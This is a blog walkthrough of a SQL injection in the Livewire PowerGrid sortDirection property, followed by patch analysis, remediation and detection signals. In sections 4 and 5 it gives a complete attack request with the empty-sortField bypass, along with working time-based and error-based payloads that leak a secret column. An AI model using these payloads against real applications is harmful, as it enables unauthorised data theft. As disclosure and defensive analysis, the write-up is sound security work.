DEV Community

GUIDANCE WHITE
GUIDANCE WHITE

Posted on

CVE-2026-65971: A Complete Walkthrough of the Livewire PowerGrid sortDirection SQL Injection

1. The attack surface — a public Livewire property is user input

In Livewire, any public property on a component is a field the client can write to directly through a POST /livewire/update request. That's not a bug — it's how Livewire is designed to work.

// src/Concerns/Sorting.php
public string $sortField = 'id';        // line 11
public string $sortDirection = 'asc';   // line 13
Enter fullscreen mode Exit fullscreen mode

Neither property is declared with a whitelist or validation rule. The only code that touches sortDirection directly is this:

public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
Enter fullscreen mode Exit fullscreen mode

There's a hook, updatedSortDirection() (line 103), that would be the natural place to validate it — but in the vulnerable version it only handles lazy-loading concerns and never inspects the value itself. The result: sortDirection is a fully attacker-controlled arbitrary string.


2. The vulnerable sink — the placeholder naturalSort() plants

naturalSort() is PowerGrid's column macro for sorting strings the way humans expect numbers to sort.

// src/Providers/Macros.php, 102-116
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
    $this->enableSort();

    if ($when) {
        $this->rawQueries[] = [
            'method'   => 'orderByRaw',                          // ← raw sink
            'sql'      => Sql::sortStringAsNumber($this->dataField),
            'bindings' => [],
        ];
    }

    return $this;
});
Enter fullscreen mode Exit fullscreen mode

The generated SQL string differs slightly per database driver, but every branch ends in the same literal placeholder (src/DataSource/Support/Sql.php, lines 60-100):

$default = "$sortField+0 {sortDirection}";                                                             // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                             // SQLite
Enter fullscreen mode Exit fullscreen mode

Which means this bug is database-driver independent — it doesn't matter whether the app runs on MySQL, PostgreSQL, or SQLite.

The point where that placeholder actually gets swapped for a real value is the true sink:

// src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php
private function resolvePlaceholders(?string $sql): ?string   // line 56
{
    if (is_null($sql)) {
        return null;
    }

    return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
        $property = trim($matches[1]);

        return data_get($this->component, $property, '');   // line 65 — no escaping
    }, $sql);
}
Enter fullscreen mode Exit fullscreen mode

...and executed on the very next line:

$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'
Enter fullscreen mode Exit fullscreen mode

data_get($this->component, 'sortDirection') returns the attacker's raw string, preg_replace_callback splices it into the SQL text, and it's handed to orderByRaw() — a function whose contract explicitly assumes the caller already sanitized the input.

Notably, the very same class has a safe parameter-binding path, resolveBindings(), two lines below. naturalSort simply never uses it ('bindings' => []) — and to be fair, ORDER BY direction keywords like asc/desc sit in a SQL position where parameter binding isn't syntactically valid in the first place. A whitelist was really the only correct answer here.

The full taint chain

POST /livewire/update
  → public string $sortDirection            (Sorting.php:13, unvalidated)
  → data_get($component, 'sortDirection')   (ColumnRawQueries.php:65)
  → "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))"
  → orderByRaw($sql)                        (ColumnRawQueries.php:52)
  → MySQL / MariaDB / PgSQL / SQLite / MSSQL
Enter fullscreen mode Exit fullscreen mode

Diagram walkthrough: this shows the three-stage path attacker input travels to reach the database. Stage 1 (light blue) is where the unvalidated $sortDirection property is declared. Stage 2 is where that value gets embedded as a placeholder inside a raw SQL string. Stage 3 (dark navy, the vulnerable point) is where the placeholder is substituted with the real, unescaped value and handed to orderByRaw(). The arrows trace the exact direction the attacker's data flows.


3. The interesting part — how Laravel's own validation got bypassed

Stopping the analysis here would make this just another "raw SQL, no escaping" story. What makes this CVE worth a deeper look is that Laravel's built-in defense was already present — and it still got sidestepped.

PowerGrid processes queries through a pipeline, and two stages touch sort direction:

① The Sorting pipelinesrc/DataSource/Processors/Database/Pipelines/Sorting.php

public function handle(mixed $query, Closure $next): mixed
{
    if (filled($this->component->sortField)) {          // line 21 ← this is the crux
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}
Enter fullscreen mode Exit fullscreen mode

orderBy() is Laravel's validating API. Feed it anything other than asc/desc and it throws immediately:

InvalidArgumentException: Order direction must be "asc" or "desc".
Enter fullscreen mode Exit fullscreen mode

In normal usage — a user clicks a column header, sending sortField=name and sortDirection=<payload> — this exception blocks the attack. At this point it would be easy to conclude "Laravel already mitigates this."

② The ColumnRawQueries pipeline — the second stage from earlier never references that validation at all. Its handle() unconditionally applies the raw query for any column configured with naturalSort, regardless of what sortField holds.

That asymmetry is the entire bug.

sortField value Sorting pipeline ColumnRawQueries pipeline Result
"name" (non-empty) Runs → orderBy() validates → throws on payload Runs → injects ❌ Blocked by exception
"" (empty string) filled('') is falseskipped entirely Runs → injects Injection succeeds

Setting sortField to an empty string causes the validating pipeline to skip itself. Meanwhile the raw pipeline still builds naturalSort's ORDER BY clause. Laravel's validation code is never invoked — it's not bypassed so much as the code path that contains it simply never executes.

The real attack, then, isn't a single field — it's a combination of two: sortDirection carries the payload, and sortField="" is the key that opens the door.

Diagram walkthrough: this shows the branching logic that decides which of two pipelines runs, based on the value of sortField. The left path (light blue) is the safe route taken when sortField is non-empty — orderBy()'s validation throws an exception and the attack is blocked. The right path (dark navy) is the route taken when sortField is empty — the validating pipeline is skipped, only the raw query pipeline runs, and injection succeeds. The payload box at the bottom shows the actual combination of both field values sent to the server.


4. The actual attack request

Every attack goes through Livewire's standard update endpoint. No special headers, custom routes, or admin functionality required.

Endpoint: POST /livewire/update

{
  "_token": "<CSRF token scraped from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot from the PowerGrid component>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}
Enter fullscreen mode Exit fullscreen mode
Field Role Value
updates.sortDirection Injection point SQL payload, prefixed with a valid direction keyword to keep the clause syntactically valid
updates.sortField Bypass key "" — the empty string that skips the validating pipeline
snapshot Plumbing Scraped from the rendered wire:snapshot="..." attribute
_token Plumbing Scraped from data-csrf="..." or the page's CSRF blob

The SQL actually produced (from a MariaDB lab environment):

select * from `rooms`
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
Enter fullscreen mode Exit fullscreen mode

5. Proof — two independent verification techniques

Error-based proof

select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
Enter fullscreen mode Exit fullscreen mode

This returns an HTTP 500 with a SQLSTATE[HY000] 1105 error, and the error message itself leaks the result of the injected subquery directly.

Blind time-based oracle

Request Response time Meaning
asc 0.02s Baseline
asc, (SELECT SLEEP(3)) 9.04s Confirms injection executes
asc, (SELECT SLEEP(3) WHERE secret LIKE 'TOPSECRET%') 9.03s TRUE — value matches
asc, (SELECT SLEEP(3) WHERE secret LIKE 'ZZZ%') 0.02s FALSE — confirms oracle accuracy

The clean TRUE/FALSE separation is what proves this isn't just "the response got slow" — it's a working oracle that can exfiltrate arbitrary data character by character. (The 9-second delay for a 3-second SLEEP() happens because sorting applies the sleeping expression per row — if anything, this makes the signal stronger, not weaker.)


6. Patch analysis (v6.10.4)

The maintainer applied defense in depth across four separate locations. The core function:

// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
Enter fullscreen mode Exit fullscreen mode

Not a blacklist, not a regex filter — a strict whitelist with a safe default. For a keyword that can never be passed as a bound parameter, this is really the only correct approach.

Applied at four points:

  1. ColumnRawQueries::resolvePlaceholders() — the sink itself. {sortDirection} is now sanitized before substitution
  2. Concerns\Sorting::updatedSortDirection() — sanitizes the moment the Livewire hook writes the value
  3. Concerns\Sorting::sortBy() — sanitizes direction values passed as arguments too
  4. Pipelines\Sorting::applySingleSort() / applyMultipleSort() — covers custom sortUsing callbacks as well (a second related path the maintainer closed beyond the original report's scope)

Cloning the v6.10.4 tag directly and checking every raw direction sink confirms the fix: the test suite passes (30/30), and fuzzing sanitizeSortDirection() with 17 payloads (time-based payloads, null bytes, SQL comments, hex literals, mixed case, whitespace padding, unicode) all converge to either asc or desc. Patch verified.


7. Remediation

Upgrading is the only real fix.

composer require power-components/livewire-powergrid:^6.10.4
composer audit
Enter fullscreen mode Exit fullscreen mode

If an immediate upgrade isn't possible, a stopgap:

public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}
Enter fullscreen mode Exit fullscreen mode

Checking exposure

grep -rn "naturalSort" app/ resources/
Enter fullscreen mode Exit fullscreen mode

If no columns use naturalSort, the primary raw ORDER BY path is never registered, so the main attack vector is unreachable. Note, though, that v6.10.4 also hardened the sortUsing callback path — so a custom sort callback that builds raw SQL directly could still be exposed regardless of naturalSort usage.

Detection signals

  • sortDirection values in POST /livewire/update bodies that aren't asc/desc (case-insensitive) — very low false-positive rate
  • The same request carrying an empty sortField alongside a meaningful sortDirection — the exact bypass signature
  • Values containing SQL keywords like SELECT, SLEEP, BENCHMARK, extractvalue, updatexml, 0x
  • Application error logs showing SQLSTATE[HY000] 1105 / SQLSTATE[42000] alongside an order by reference
  • A bimodal response-time distribution across otherwise-identical requests — a sign a blind oracle is being walked

Top comments (0)